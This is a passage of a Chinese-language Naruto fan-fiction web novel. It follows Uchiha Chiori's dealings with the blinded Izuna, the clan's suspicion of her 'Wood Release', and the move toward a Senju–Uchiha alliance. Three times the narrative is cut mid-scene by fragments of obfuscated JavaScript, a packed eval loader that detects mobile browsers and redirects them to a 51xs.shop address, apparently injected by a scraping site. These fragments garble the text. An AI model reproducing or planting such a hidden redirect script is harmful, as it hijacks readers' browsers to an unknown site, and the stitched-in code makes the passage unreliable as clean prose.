“……辉会死,不是因为千手的敌人吗?”我打断他们疯狂给自己背锅的行为,“再不济,不应该怪安排小孩子上战场的人吗?” ——远在黄泉的田岛族长,对不起让你来背锅了,但你不背锅你的两个儿子就要争着背锅,你牺牲一下自己吧。 族长和泉奈齐齐转头看向我。 “再追究下去,还有闲着没事掀起战争雇佣我们和千手打仗的贵族呢。” 那句话怎么说来着,没有买卖,就没有杀害。 这两个人在为辉的死亡内耗个什么劲,辉当初都没想那么多吧。 那时候他们都是小孩子,就算救人,也轮不到他们来救啊。 说句不好听的,真论起该为在忍界战争中死去之人负责的人,人选可以从这里排到火之国都城都还不止。 上到放任兄弟相残的六道、天上挂着的辉夜姬,下到此刻不知道被封印在哪里的黑绝都得排进去,就算斑和泉奈想排队,也得领个号码牌乖乖排在后面。 而且当初我给辉施了临终幻术,辉是在我的幻术里放弃治疗去世的,真要论责任,我都得插队到他们前面去。 “但哥哥是因为……”我直接上前用手捂住了泉奈的嘴,他没想到我直接采取物理手段,震惊地呆住了。 泉奈还想继续强调当初的事,我都不知道他居然一直在意这件事。 算起来,辉当初去找老师学习超过自己承受范围的幻术时,也是因为没能保护好另一个弟弟。 他们几兄弟往自己身上揽锅的习惯还真是相似。 “说这么多话你不痛吗?”我没好气地看着他额角渗出的冷汗,用常世构筑了一个短暂的幻术延缓他的痛苦,“该休息的时候就好好休息,再吵下去我怕你把族长刺激得挖眼睛。” 泉奈皱起眉,冰凉的手指箍住我的手腕,死死往外拉:“千织,我不需要常世。” “放心,你现在的伤还没有我当初那么严重,我当初养伤的时候全程用着常世都没问题,这点程度影响不到我的,”我见他一脸抗拒,用起老办法,激他,“还是说你觉得我这么做是侮辱你了?” 泉奈脸色难看:“你明知道我的意思。” 我沉吟半晌:“知道是一回事,但我不接受,你不想接受的话就和以前一样和我比一场吧。” “我也不欺负你,就和之前我养伤的时候一样,我们来局双陆,族长在旁边作保,免得你怀疑我作弊,如何?” “……哥哥怎么会同意这么儿戏的事!” “我没意见,泉奈。” “……” 泉奈说不过我,族长也不站在他那边,他便只得同意,我当下就支使分/身去拿双陆棋,又问泉奈这次要选宇智波还是千手。 “你不和我抢这个了?”他愣了一愣。 上次和他抢宇智波的执棋方是因为刚被千手族长打出了心理阴影,现在早就恢复了,而且他大概也想选宇智波。 但想起泉奈一贯的逞强,我嘴边那句照顾伤病人员硬生生咽了下去,说出口的时候话就变成了“上次是我先选的,这次轮到你先”。 刚好棋来了,我就先摆棋盘,让他先想,族长坐在一旁看着。 一边摆棋,我也暗地里松了口气,至少现在先把泉奈的注意力转移开了,等下完一局棋都不知道过了多久,到时候再取消常世也已经起到了效果。 再有一点,忍者扔骰子全凭良心,要是想自然是能控制点数的,只是大多数忍者在进行这些游戏的时候不屑于作弊或是自尊心作祟不愿意相信自己的运气就有那么差。 如果我愿意,甚至可以刻意控制自己的点数延缓棋局的进程。 “扔骰子决定吧,单数为千手。”出乎我的意料,泉奈没有直接选哪一方,而是让掷点决定。 这似乎是最公平的方法,我将骰子递给泉奈,他缓缓摩挲过两个骰子的六面,手腕轻巧一抖,掷出了一个单数。 族长见到结果,沉默了好一会儿,才报数:“5,单。” 我也不禁沉默。 很明显,刚才泉奈的动作用上了巧劲,这个结果是故意控制过的。 在我还没打算作弊的时候,他先作弊了——而且是在完全没必要的情况下。 他明明可以直接选,偏偏提出了掷骰子。 要命,他怎么特意选了千手。 是在用这手暗示我别想着控制点数? ——有这个打算的我已经开始先心虚起来了。 “恭喜了,千织,”泉奈缓缓说道,“你依旧是宇智波。” 我总觉得他话里有深意,可抬头看去时他的表情如常,似乎只是很普通地恭喜了我一声。 接下来游戏正式开始,我和泉奈轮流掷点,我们三个人就这么大逆不道地在祭祀先祖的神社里玩起了双陆,安静的会议间间或响起族长的报数声。 一局终了后,我寻思着再来上一局,泉奈先一步出声:“可以了,我受得了的,千织,解开常世吧。” “……” 我默然无语,收拾好东西后将幻术解开,眼睛干得厉害,回去得用点药保养一下。 但我确实没有骗泉奈,比起动不动就改变环境的大型幻术,只是对身体状态进行一些微小欺骗的幻术损耗确实小。 幻术解开之后,泉奈的身体微不可察地僵了一下,而后缓缓站起身。 族长见状连忙撑住他。 “多谢。”族长简短地对我道了声谢。 我摇了摇头,看看泉奈,又看看族长,想对族长说千万看住泉奈别让他再折腾自己了,最终还是因为泉奈就在眼前什么都没说。 有时候我挺想直接把泉奈打晕让他停止思考一段时间,他行动力过于高了,想到什么就会去做,问题是从大的方向来看还是他占理,简直说无可说。 族长带着泉奈离开,我也后脚跟着离开神社。 “千织。”火核从暗处走出,叫住了我。 我愣了一下:“哥?你怎么还在这儿?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644747|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >火核嘴唇紧抿,他惯常用的深色披肩上垂挂着的装饰性流苏被夜露打湿,颜色偏深,估计一直等在这里。 “今天回家里住吧,奏叔他们很想你。”火核微微偏头,轻声说道。 在战场的时候我偶尔能看见爸爸,但妈妈确实很久没见了。 闻言我有些不知所措地嗯了一声,又道:“让人给我带个口信的事,不用这么一直等我啦。” 火核往我这走了几步,听了我的话后不禁露出了个笑,抬手拍了拍我的脑袋:“然后你就又拖个好几天?” “我哪有干过这种事!” 火核哼了一声:“也对,要说动你可不容易。” “你还想不想我回家!”我恶狠狠地瞪着他。 回家后爸爸妈妈留火核吃了晚饭,他家就在我家隔壁,回去的时候我礼貌性地送他出门。 到了门外后,火核面上的笑容这才消失不见:“我们谈谈,千织。” 我回头望了眼亮着灯的门厅,心底有些不安,虽然不知道火核要说什么,但仍下意识地想要逃避:“什么事,哥哥?不急的话我们明天再说吧。” 火核深深吸了一口气,有些忍耐地闭了下眼:“你的眼睛。” “……” 我不禁收紧了手指,沉默地将门关上,跟着他去了隔壁。 火核的父母看到我后十分热情地冲我打招呼,要给我塞东西,听见我和火核有事要谈后面面相觑,先回了房间留我们两人在客厅。 “你的眼睛,也和泉奈大人一样,会随时失明吗?”等到清场完毕,火核直接开门见山问道。 我的心重重跳了一下,忍住没有惊慌失措,强撑着道:“哥,我没听懂你的意思。” 火核的脸色冷极了:“我的意思是,你的万花筒,也和泉奈大人一样吗?” 我想了半天,也没想到是哪里露馅。 “……”我勉强对他笑了一下,“我怎么会有万花筒呢?哥你肯定是哪里搞错了。” “以往我不问,并不代表我什么都不知道,千织。我只是觉得没必要去探究你的秘密。” “你的幻术,为什么只有你一个人能用?难不成我真要相信那些荒谬的传言,说你觉醒了木遁,为了掩人耳目才编造出幻术的理由?” “我也不是想追究你怎么获得的万花筒,为什么要一直瞒着所有人,但你至少要告诉我,你是不是也随时会失明?”火核声音低沉了不少,“你现在也跟着上战场了,我很担心你,要是你在和千手扉间交战时突然失明,我简直不敢想象那个后果,千织。” 我看着火核又生气又憋屈的表情,缓缓垂下头。 “我没事的,哥哥。泉奈的情况太特殊了,我们不一样的。” “会不会失明?”火核却没被我糊弄过去,死咬着这么一个问题。 我想撒谎告诉他不会,却怎么也说不出来。 万花筒就是一张走向失明的单程票,视力会渐渐在瞳力的侵蚀下逐渐丧失,万花筒用得多和用得少只是影响这个过程快慢的因素。 就算彻底不用它,也早晚会迎来失明的结局。 但我从来不后悔开万花筒。 没有它我早就死了,更何况万花筒代表着更强大的力量。 火核从我的沉默中明白了答案,他语气艰难:“有办法解决吗?” “或许有吧,所以得等到结盟。”我不敢去看火核的表情,含糊地回答了一句。 再怎么我也不可能说移植血亲眼睛的方法,虽然火核没有万花筒,但是他万一猜到了泉奈眼睛的真相,泉奈今天特意露面的努力就白费了。 “结盟?”火核因为突然转移的话题懵住。 “千手和宇智波……在血缘上的关系很近。写轮眼和木遁,一阴一阳,在最初是一体的。”我含糊地解释了一句。 40.关系 第二天我接过了以往泉奈的战后安抚工作,一家家地找上门去。 一个人做这项工作时,心理压力更大。 最后拜访的是凉真家。 凉真的母亲仿佛什么都不知道一般,带着一岁不到的镜,他的父亲对我说在战场上牺牲是凉真作为忍者的荣耀。 我嗓子里像是堵了东西一样,什么都说不出来。 最后离开的时候,凉真的父亲问我:“泉奈大人之前的族会上的意思,是想和千手结盟吗?” 眼前这个中年忍者满脸冷漠:“我不能接受。” 我看向他的眼睛,他的眼中没有对孩子去世的悲伤,却也没有对某个敌人的仇恨。 但和惠理沙那种茫然也不同。 他的眼睛是空的。 空荡荡的。 像是丧失了什么重要的东西一样的空。 我毛骨悚然,回程的路上回想起凉真父亲的表情时仍有些心惊肉跳。 对一部分族人而言,和千手战斗,早已不是简单地对敌。 更是一种深入骨髓的观念:千手和宇智波是天生的敌人,为此而战并死亡是出身宇智波的忍者的宿命乃至意义。 泉奈背负了本该由我承受的压力。 等之后又处理过一批族务,稍微空闲后,我去看望泉奈时,还想着凉真父亲的事,有些心不在焉。 泉奈知道我来时,站在书房边上“看”了我许久,才缓慢开口:“千织,我们或许该避嫌了。” 我假装自己没听见,对他读族务的内容。 他见状只得合上门走到我身边坐下,等我停下后道:“你已经知道该怎么处理了。” 声音很平静,半点没有自己的事被插手后的不悦。 “……族会上你不该说那些话,”我放下文件,有些担忧,“现在还没到说出和谈意图的时候,也不该你来说。” 我担心泉奈会因此出事。 极端分子可不分氏族地域,尤其是我们一族的特性就容易走极端。 泉奈听了后不禁叹气:“那你更应该离我远些……而且,斑哥没有在和千手柱间的对阵中取得上风,议和的事总归要提上议程,我都这样了,不如让我来做这个人。” “你和我走得近了,说不定会被我拖累。” 他一直闭着双目,比起之前强撑着什么的一直紧绷的姿态,今天的状态好多了,整个人显得有些放松,重心微微靠在搭着桌案的手肘上。 而他轻飘飘地说出这种撇开关系的话,就像在说天气很好一样。 “你又在和我划清界限。我常常想,我们之间,究竟是什么关系呢,泉奈?”我垂眸看着他放在桌上的手。 苍白而修长,透着股颓然的病气,暮气沉沉。 泉奈怔了一下,随即微笑起来:“关系的话……已经离婚的前夫妻?” “那更早之前呢?在我们结婚之前呢?” 他犹豫地抬起手,轻轻落到我的脸上,手指细致地擦过我的眼角,而后微不可察地松了口气。 “我们那时关系似乎不太好……我也不知道我们能不能算得上是朋友,”泉奈有些局促地收回自己的手,却没再放回桌上,而是收到了身前,然后轻声回答我的问题,“总之,以后别来了。” 我谈起这次战场上的事:“我在和千手扉间对战的时候,用了常世。” “我听说了。”泉奈微微点头。 我不意外他知道这点。他只是眼睛失明,但部下都还在,族会的时候他还能及时赶到为族长解围,也知道得到了永恒万花筒的族长并没有在与千手柱间的战斗中夺得优势。 “那你也该听说他在战场将常世误认为木遁的事,族中现在也有了传言——说我家混入了千手血脉,当初我也不是凭借幻术得救,而是因为千手的体质恢复力强横。” 泉奈回答得很快:“你可以展示你的万花筒,谣言自然不攻自破。” 我拒绝了他的提议:“可你不觉得,这件事也有好处吗?千手族长的结盟书上可是以此来说明两族曾同出一支,劝说斑大人结盟。” 泉奈立刻答道:“千手扉间认错是他眼力差,千手柱间完全是在狡猾至极地欺骗斑哥。他作为木遁的主人,怎么可能认不出来你身上的气息!他就是故意的,你不要相信他。” 我不禁为他对这个话题的应对速度侧目,他似乎连思考都没有,就直接这么回应了。 “但这不是正好吗——如果要给族人一个接受结盟的理由。不是我家曾混入了千手的血脉,而是宇智波和千手过去就是一家。” 泉奈没说话,他的眼睫猛地震颤起来。 我从桌案下握住他的手,问他:“怎么办啊,泉奈。这段时间我说不定会承受比你更厉害的骂名了。” 在族人们接受这个观点前,一个会木遁、疑似流着千手血脉的宇智波,会面临的目光可想而知。 泉奈的手紧紧地回握住我。 “千织,你不用这样。你是宇智波,和千手一点关系都没有。” “我们可以慢慢来。” 他的语气有些慌乱。 “不要。”我看着他,干脆利落地回绝他。 “你总觉得自己能安排好所有事,可是事实并不是这样的,泉奈,”我轻轻挣开他的手,“那种事发生一次就够了,你当初明明也答应斑大人就那一次的。” “我本来还有些犹豫要不要这么做,但是这次我真的很生气,族长也很生气,所以我答应了。” 之前回家后,我做的另一件事就是和爸爸妈妈商量这件事,将自己的万花筒能力和盘托出。 因为一旦我对外承认我会的是木遁,他们势必也会受到影响。 “当初你说离婚,我也答应了。可我们不是被你随意安排的傀儡,泉奈,”我站起身看他,“你就安心养身体,等待结盟的那一天到来好了。” 这些话我确实是怀着一点隐秘的报复心和冲动说出口的。 说完之后,我却发现这么一看我今天拿处理族务来看望他的借口看起来格外可笑。 突然意识到这一点的我瞬间尴尬得如芒刺在背,正想找个理由溜掉免得被泉奈反应过来,下一刻我的手就被拽住,转瞬失去了重心,被拽得往地上倒。 ——却也没完全摔倒在地上,就是姿势很别扭,重心完全偏移,栽到了泉奈的怀里,半跪在地上。 泉奈闷哼了一声,死死将我按住。 ——这家伙都这样了力气还这么大? 能单手和千手扉间对刀了不起吗! 我有些恼怒地想要挣开,可泉奈怎么也不放手,不小心碰倒了桌案不说,我们也完全在地上滚作一团了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651149|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “宇智波泉奈,你到底在干什么?” 最后我彻底没了脾气,躺在地上问他到底想干什么。 就算他之前重伤一场,体重消减不少,但基数还是在那里,压得人死沉死沉的。 而且这个姿势确实不舒服,他的手太硌人了。 “这样很难受,泉奈。”我又说道。 泉奈将下巴搁在我肩膀上,他的呼吸有些急促,长长的发尾自他肩上垂落,发丝和他打在脖颈间的气息让我有些僵硬。 好半天他的呼吸才平息下来,大概是因为我刚才说难受,他松开了我腰间的手,微微起身,手肘撑在我的耳边。 这个姿势过于微妙了。 “千织,对不起,”泉奈头微垂,离我极近,身体颤抖着,颊边的碎发垂落,轻轻扫过我的脸侧,声音低沉,“但别做千手,千手已经夺走我的哥哥了。” 我愣了好半天才将注意力转移到他的话上,一时间有些啼笑皆非。 “……我没有要改姓千手的意思。”只是结个盟,伪造一个现象而已,怎么连忍族都给我改了。 “……你根本不知道那些为了结盟的人会做到什么程度,而且千手一族居心叵测,肯定会对你有图谋。” “假的木遁能图谋什么啊?”我叹了口气,伸手拍了拍泉奈的背,让他放心。 “你还有写轮眼,”泉奈继续道,“千手扉间肯定会反应过来这是万花筒的能力。” 好吧,这话无法反驳。 “既然你知道我有万花筒,那总该知道我有自保的能力,不合理的事我会拒绝。” 泉奈紧绷的下颌微松,态度松动,我也跟着松了口气。 “放开我吧,泉奈,我们这样像什么样子,”我推了推他的肩,拿他刚才的话来堵他,“以我们不一定算得上是朋友的关系,这么做合适吗?” 他倏地再度僵硬起来。 我:…… 我感觉有些不妙。 倒不是觉得危险,而是我们讨论的话题似乎偏离了主题。 “我不是那个意思,”泉奈嘴唇颤抖着,想要解释,“我们那时候当然是朋友,你都去……总之我不是在否定我们关系的意思。只是还有其他的……我不知道该怎么归类的关系。” 现在的情况真的有点不对劲。 我想。 “比如呢?”我盯着泉奈,又仿佛没看他,脑子混混沌沌的,有一搭没一搭地问他。 我问些奇奇怪怪的问题就算了,这家伙之前不是要和我撇开关系吗,怎么也认认真真地回答了起来。 泉奈的嘴唇一张一合,我听见他说什么他也不知道,说自己也不知道我们那段时间算不算是恋人。 “我不敢问你,千织。”他说。 不想听他说了。 我抬起一只手,捧住他的脸。 泉奈的声音骤然止住。 完了。 我想。 让火核知道他肯定又要追着我说教。 前段时间他还劝我早点和泉奈断干净。他有点迁怒,觉得我的万花筒是被泉奈传染了。 虽然这的想法根本就没有任何道理可言。 但谁让泉奈先在族会上撒谎的。 都怪泉奈,他说话的声音太吵了。 我半撑起身,吻了上去。 41.罪孽 做完任务回族地的路上,火核问我最近怎么没去找泉奈了。 “……你不是希望我不去吗?而且最近忙着做任务,哪有时间。”我下意识用手背碰了下脸颊。 温度正常,松了口气。 火核面露狐疑:“我说了你又不会听,泉奈大人那里又出事了?” 又。 我觉得泉奈该反思一下火核为什么要用这个字。 反正不该是我反思。 我心虚地挪开眼睛:“我知道度的,你不要操心这种事。” 那天差点和泉奈旧情——有没有情先打个问号——复燃,我没法当着火核的面承认。 我和泉奈之间太熟了,朋友能算、看不顺眼的对手也能算,我们甚至还有过一段不太像样的婚姻。除掉这些,我们中间还隔了个辉的联系……我确实无法分辨他对我有没有世俗上的爱情。 就算他明确对我说明是爱情,我也会怀疑他自己搞错了。 一连串的事后,我似乎也不在意得到一个明确的答案了。毕竟世界上没有十全十美的事,我更在意接下来的结盟事宜。 火核睨了我一眼,有些无语:“……类似的话你说过很多。” 我回忆了一下,还真是。 婚前婚后、刚离婚那会儿我都说过类似我没问题自己能处理好的话。 ……也难怪我在火核这里信用破产。 走到族地附近时,族长的忍鹰自澄澈透蓝的天空中飞掠而过。 火核见状有些担忧地蹙了蹙眉:“……又是去千手送信吗?这个频率有些高了。” “族人们不放心千手会放人回来,也只能用忍兽了,自然会有沟通不到位反复来信的情况。” 我收回目光,见火核因为族中与千手联系增多不可避免地焦虑起来,安抚了一句。 但我也想起战前那段时间看到过一次族长的忍鹰独自离开族地,族长的忍鹰是用来鹰猎的,通常是一人一兽同时出现,难道那次也是在传信? 不久前族长见了千手雷打不动来递盟书的使者,破天荒地回了一封信回去,那之后千手方的使者就跟定期刷新在族地的限时npc一样,在一堆蓝色的衣服里绿得扎眼。 族中虽然早有可能会和千手议和的准备,但还是受不了过往仇敌时常刷新在老家门口的刺激。 族会上反应之后,两族就开始使用忍兽来沟通了。 千手的忍兽第一次出现在宇智波的时候,差点被火遁碳烤。送信的那只忍兽的表情写满了“我为什么要这么屈辱地来敌人的地盘送信而不是和契约者在战场上杀敌”。 千手使者第一次来的时候,族长把我也叫上了。 那个千手当着满屋子宇智波有些好奇地看了看我,然后对族长说我是木遁。 千手和宇智波或许过去也有渊源。 所以他们族长想要借此机会结盟——离谱到不该摆在台面上的理由。 但双方的思路巧合得不知道是不是双方约好了。 而且千手那边的话含糊其辞,我严重怀疑这个使者背后的是千手扉间。 结盟不成的话,或许可以凭此离间我和族人。 毕竟千手柱间之前在信上就差把千手和宇智波写成过去手拉手一起长大的血脉同胞了,不可能让使者说得这么含糊。 当然,有千手一族的盖棺定论,加上我曾重伤又奇迹般挺过来的体质和战场上的表现,这招离间粗糙但有效。 而且我还曾提出过俘虏千手的年幼忍者但不杀的主张。 不管当时的理由有多合理——并且这件事也确实减少了年轻一代的伤亡——在我会“木遁”的事实之下,也变了味道。 不过我的写轮眼也证明我不是什么离谱的抱错的千手孩子,但我家都被怀疑过往混入了千手的血脉。 连火核也被连累了,他表示自己有准备,让我别那么大压力。 但我也第一次知道原来火核是个一点就炸的脾气。 在遇上两个背后说我难怪会和泉奈离婚并且用十分难听的话攻击我出身的族人后,火核直接冷着脸拉人上了训练场。 他之前还嘲笑我这种解决问题的方法幼稚。 原来是火核这个哥哥带的头! 我恍然大悟。 等两个族人趴在地上哀嚎之后,我在边上劝了火核一句。 “别这么欺负他们,哥。虽然我们不能选择自己的出身,但是他们只是太恨千手了,”我扫了眼脸色逐渐高傲起来的两人,不由笑了道,“下次和千手扉间对敌的重任就交给他们了,满足他们斩杀仇敌的愿望吧。” 真是哪里都有窝里横。 就算族里现在有了些传言,但碍于我上场战争实打实抗住了千手扉间的战绩,大多数人都不敢在我面前说三道四,更遑论企图用所谓的纯种宇智波压我一头的想法了。 黄金矿工都挖不出来的品种。 火核沉默了好半天,大概是在分辨我是开玩笑还是认真的,又看看倒在地上面无血色的两人,才说道:“打一顿算了。” 等两个人飞一般地在火核的允许下逃跑,我才不满地问他:“你把我说的当真了?” 我还没离谱到送人去死。 火核弯了弯眼睛:“我都记得的,你讨厌流血杀人,但我不想你被他人议论。” “……别说这么幼稚的话了。” 他拍了拍我的脑袋:“我还记得某个人说脑袋上戴上竹蜻蜓就可以飞起来呢。” “宇智波火核,快闭嘴!”我大怒。 不过族里后来的风向出现转变的原因,是又旅听见类似讨论时插了句嘴。 “木遁?”她听得有点莫名,“虽然你们和千手的先祖是亲兄弟,但是宇智波千织会木遁的事也太奇怪了吧?这种事真的有可能发生吗?” 我知道这件事,是因为又旅跑来和我确认了。 总之当时的场面很乱,毕竟千手这个词在族里也算骂人的形容词。 觉得被又旅侮辱愤而不顾对方尾兽身份瞪出写轮眼的、立场偏向主和陷入沉思甚至惊喜的、怕尾兽发狂一个劲拦着冲动的族人的…… 又旅跟我描述时快活极了,她不太喜欢我们宇智波,难得见我们吃瘪,都忘记我也是个宇智波了。 “……”总之误打误撞,把这件事捅出来,又旅也算大功一件了。 这之后不少族人见到我后,都是一副想起什么、继而愁眉苦脸的样子。 和千手一个祖先真的很打击他们。 又旅也因为这件事变成了一些族人的狙击对象,一群宇智波隔三差五组队抓猫,被猫耍得团团转。 又旅玩得很开心,我建议又旅改个名字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703073|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “?”又旅有点疑惑。 “你觉得杰瑞这个名字怎么样?”我睁着眼睛指猫为鼠。 又旅拒绝得很快:“什么奇怪名字,虽然我现在不得不屈从于你们宇智波,但也别想践踏我的尊严。” “……”这个听不懂我梗的世界真是没救了。 和千手联系的事陆陆续续进行到了年末,惠理沙在出了一次任务后懵懵地找到了我。 “千织大人,我这次在外面遇到了一群千手。” 我赶紧给这倒霉孩子检查哪里受伤了,有没有被下什么符咒。 这可和小时候火核遇上千手柱间不一样。 毕竟那时候我知道火核起码还得活蹦乱跳个十几年,遇上的还是少年柱间,当时自然就只剩感叹他命大了。 检查完毕,结果是无。 我有点不可思议,问她什么情况。 她说遇上的是好几个成年千手,那几个忍者把她放了。 休战期间,可没什么抓俘虏互相交换的默契,更何况上场战争因为猿飞羽衣的加入这种默契还被打破了。 惠理沙能活着回来简直是奇迹。 “千织大人,千手真的打算和我们结盟了吗?”惠理沙的表情很是纠结。 我大概能猜到她的想法,毕竟凉真就死在和千手的战争中——虽然当时杀了凉真的是猿飞的忍者。 但这次千手又放过了她。 “这种事也说不准,你怎么看呢?”我询问她的态度。 惠理沙摇头:“我不知道,千织大人。” “明明这次千手放过了我,但我总觉得要是结盟了,会不会就是背叛凉真他们了?” 惠理沙的神色十分担忧。 “……”我陷入沉默,好半天才慢慢开口,“结盟和原谅不是一回事。惠理沙,我们没办法代替已经死去的族人去原谅任何人,但是这种因他人好恶挑起来的、看不见任何未来的战争也没有持续下去的必要。” 更何况千手和宇智波的纷争本就有黑绝在背后做推手。 即便如此,我也不能代表辉去原谅千手。 泉奈不能,族长也不能。 惠理沙显得更迷惑了:“您是说,结盟是结盟,但是我们仍要恨着千手吗?” “这种事也太远了,我想不到那时候我们会是什么心态,”毕竟原著的宇智波一族还拒绝了跟随族长,我托着腮坐在她旁边,年幼的忍者满眼懵懂,我们面前是烤得吱吱作响的年糕,“但是别为难自己去怎么想,没人能管住你的脑子里在想什么。族长也不行。” 讨厌千手就讨厌,大不了就老死不相往来。 惠理沙哇地缩了下脖子。 “族长的话……我觉得还是能管的。”她小声地吐槽。 我不由失笑。 随着新年到来,族中的积雪堆了厚厚一层的时候,宇智波真生在一个平常的午后敲响了我家的门。 他神情恍惚,见到我开门后面露挣扎。我看出他的不对劲,就让他先进门,他犹豫了两秒,才终于下定决心一般跟了上来。 “千织大人,”进到室内,宇智波真生直接跪下额头磕地,吓得我赶紧挪开怕折寿,“我犯下了无可饶恕的罪孽。” “前日我才模糊想起,在被黑绝附身期间,我曾被控制去见了羽衣的人。”他说。 42.迟滞 羽衣一族在上次联合作战时的消极作战的确令人生疑,但没有忍族会拿自己的任务开玩笑。 毕竟搞砸自己的任务,代表着失去雇主的信任。 然而现在宇智波真生恢复的记忆暗示当初羽衣的临阵脱逃可能会和黑绝有牵连。 但宇智波真生此刻只能模糊地记起私下见过羽衣的少族长,再多的也想不起来。 黑绝的事是族长在处理,如果要继续调查,免不了去找一趟族长。 我看宇智波真生状态不太好,整个人看起来浑浑噩噩的,不放心他一个人去,就叫上他一起去见族长。 他的心情我能理解,那次羽衣搞出来的幺蛾子让族里损失不少,若这件事真和他有关系,他难免会想不开。 路上我小心翼翼问了下彩香的近况。 听到我的问题,宇智波真生愣了片刻,面容稍缓。 “她现在身体好些了,在跟着族里的药师学习配药,已经能处理一些小的伤病了。”他的语气柔和了一些,没一开始那么沉重了。 这么聊着他家的事,宇智波真生明显放松不少。在见到族长后,陈述情况时也没有一开始和我说时那么情绪激烈。 天知道他一进门就给我跪下给我的冲击有多大。 这事宇智波真生毕竟也是受害者,族长虽然不太会安抚人,但也让他不要多想,先回家休假。 负责的族务也都交给其他人。 无论如何,彻底排除隐患前,宇智波真生暂时不适合接触族务了。 “至于惩罚,你是泉奈的部下,等泉奈身体好些他亲自来定。”族长说道。 宇智波真生得了族长的命令离开,我变了个分/身远远缀着,看着宇智波真生确确实实回了家才解除分/身。 分/身记忆传来时,我正看着族长审问黑绝,记忆涌入让我的思维中断了一瞬,又在转瞬间回过神来。 黑绝毕竟是活了上千年的辉夜姬意识,寻常幻术本就很难起作用,当初被封印在人身上时也算是间接在他的精神体上开了道口子,这才使幻术生效。 此刻他已经不在宿主身上,本身形态并不稳定,又因为被层层封印,不太好在他身上施加幻术。 这个时候就有点羡慕山中家的秘术了。 不过黑绝并非唯一的突破口,羽衣一族那么大一个忍族摆在那里,总能找到点消息。 我主动向族长提出我来负责这件事。 族长微微侧目:“你少有这么积极做一件事的时候,千织。” 我也知道这件事交给族里的三勾玉足够了。只是探查羽衣,又不是要和羽衣开战。 “……我的一个学生,死在了上场战争里。”我说。 战争前我还让凉真和惠理沙别学那些奇怪的坏习惯,不准他们拿我的名字去给以后的孩子命名。 从那时候起,他们两人虽然没有叫过我老师,但其实已经差不多了。 我尽量不让自己去在意这件事,想要像小时候那样。 但是情绪实在是难以控制的。 愤怒、仇恨、不满。 我自己都难以理清这些负面情绪里到底混杂了些什么。 它们被很好地隐藏在表面之下,我尽量让自己在这个多事之秋保持冷静。 但当知道背后还有隐情的时候,这股情绪还是爆发了。 我可以接受意外,却不能接受背后早有谋划。 不可原谅。 你有这个能力去报仇。 心中有个声音这么对我说道。 但另一侧的理智又在告诉我不要陷入这种情绪漩涡。 尤其现在还是千手和宇智波关系缓和的关键时期,一定要克制。 说完之后,我又有些后悔,或许我应该说这件事不宜让更多人知道,所以我去就很合适。 任务过程中如果夹杂个人感情,很容易毁掉一个任务,这是忍者的共识。 “我知道了,你去吧,”族长似乎并没有在意这一点,也或许对他来说私人情绪并不是什么大问题,他点头后,又像是不经意地开口,“对了,泉奈最近好了不少,你既然要出门,也看看手上有什么可以移交给他的族务,好让他不要想太多。” 这事放在别人身上,估计都会觉得族长过于压榨人了。 ……然而别人养伤是静养,到泉奈这还真得给他找点事做,让他没精力去搞其他东西。 他上次那一出是真的把我们都给吓到了。 窗外的积雪反射着亮晃晃的光,室内显得很是亮堂。 大概是因为话题转移到了半是私事的泉奈身上,族长的态度明显和刚才宇智波真生在的时候不太一样,更平易近人了些,语气中也多了点难以察觉的无奈。 我有一阵子没联系泉奈了,族长突然提起他,我心中难免别扭,却也松了口气。 总归泉奈的情况在好转,不然族长也不会提让泉奈处理事务。 只是上次发生在书房的事实在很尴尬,我和泉奈之间互相说了重话,又情绪上头,最后差点做了些不该做的事——虽然双方最后都反应过来打住了。 那之后我自然不好再找理由去见他,我将原因归结于觉得自己似乎有趁人之危的嫌疑。 这次是族长开口提的,理由也足够正当,再加上我这次出去必定要耽误一些时间,确实有些不太放心的事要拜托泉奈。 更何况族长刚才也说了,宇智波真生怎么处置,由泉奈来决定,自然得有个人告诉泉奈这事。 家忍带我去见泉奈时,我远远看见他正盘着腿,坐在院子边练习结印,脑后的长发简单束起,垂落在雪白的衣服上,眼睛的位置被一条白色的绢布缠住,遮住了没有眼珠而凹陷的眼部。 缺失眼睛和单纯的失明还是有区别,被其他人看见了并不好解释。 明明一开始他甚至不愿意让人见到他的眼睛出了问题,现在已经能坦然地向外露出弱点了。 我停住脚步,让家忍先行离开。 泉奈结的是一个a级忍术的印,又是他所擅长的火遁,结印速度很快。 不过他也仅仅只是在练习结印,并没有真的用出忍术。几乎是思考的时间都没有,结完印后,他手中便又换了一个忍术的印来结,选择的忍术难度也逐渐上升,也很快就从火遁忍术练习到了风遁。 我渐渐看出他在干什么了。 他在复盘自己所学过的忍术。 诚然写轮眼能够复制所见的忍术,但彻底掌握仍需要自己去练习。 